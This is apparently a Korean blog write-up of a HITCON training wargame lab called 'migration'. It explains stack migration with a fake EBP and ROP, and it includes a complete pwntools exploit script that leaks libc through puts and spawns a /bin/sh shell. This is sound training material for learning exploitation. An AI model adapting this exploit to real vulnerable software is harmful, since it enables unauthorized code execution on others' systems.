hint : fake ebp를 이용해 스택 영역을 이동시킨 후 rop.
1. fakestack으로 사용할 위치를 찾는다.
--> rop를 하기엔 read할 수 있는 크기가 작기 때문에 stack migration을 할 곳을 찾아야 한다. 따라서 bss영역 같은 곳을 찾는다. 하지만 이 문제에선 bss영역이 8바이트밖에 되지 않으므로 dynamic 영역 +0x600과 + 0x700을 fakestack1, 2 로 선택했다.
2. 이제 rop를 해야하는데 sfp에 fakestack1(dynamic+0x600)을 넣고 ret에는 read@plt를 넣어서 read()함수를 실행시키도록 한다.그리고 fakeebp를 하기 위해 leave-ret가젯을 rop할 때 스택을 정리하는 부분에 넣어주어 puts@got를 릭해서 libc를 구하고 다시 read를 호출해서 fakestack2에 쉘 함수를 read시킨 후 leave-ret으로 fakestack2의 내용을 호출하도록 하면 클리어가 된다.
from pwn import * r = process("./migration") elf = ELF("./migration") leave_ret = 0x08048504 read_plt = elf.plt["read"] read_got = elf.got["read"] puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] bss = elf.bss() system_offset = 0x24f00 binsh_offset = 0xfbd6b pr = 0x804836d pppr = 0x8048569 ret = 0x080484e5 ds_section = elf.get_section_by_name(".dynamic").header.sh_addr fakestack1 = ds_section + 0x600 fakestack2 = ds_section + 0x700 log.info("read_plt = {}".format(hex(read_plt))) log.info("read_got = {}".format(hex(read_got))) log.info("puts_plt = {}".format(hex(puts_plt))) log.info("puts_got = {}".format(hex(puts_got))) log.info("fakestack1 = {}".format(hex(fakestack1))) log.info("fakestack2 = {}".format(hex(fakestack2))) r.recv() #pause() #step 1 payload = "A"*40 payload += p32(fakestack1) payload += p32(read_plt) payload += p32(leave_ret) payload += p32(0) payload += p32(fakestack1) payload += p32(0x100) r.send(payload) #pause() #step 2 payload = p32(fakestack2) payload += p32(puts_plt) payload += p32(pr) payload += p32(puts_got) payload += p32(read_plt) payload += p32(leave_ret) payload += p32(0) payload += p32(fakestack2) payload += p32(0x100) r.sendline(payload) #pause() libc_puts = u32(r.recv(4)) log.info("libc_puts = {}".format(hex(libc_puts))) libc_system = libc_puts - system_offset log.info("libc_system = {}".format(hex(libc_system))) binsh = binsh_offset + libc_puts log.info("/bin/sh = {}".format(hex(binsh))) payload = "C"*4 payload += p32(libc_system) payload += "D"*4 payload += p32(binsh) r.send(payload) r.interactive()
'Wargame > Hitcon training' 카테고리의 다른 글
HITCON training lab11 (house of force) (0) | 2018.10.29 |
---|---|
HITCON training lab10 (0) | 2018.10.25 |
HITCON training lab4 (0) | 2018.10.18 |
HITCON training lab5 (0) | 2018.10.16 |
HITCON training lab12 (fastbin dup) (0) | 2018.10.08 |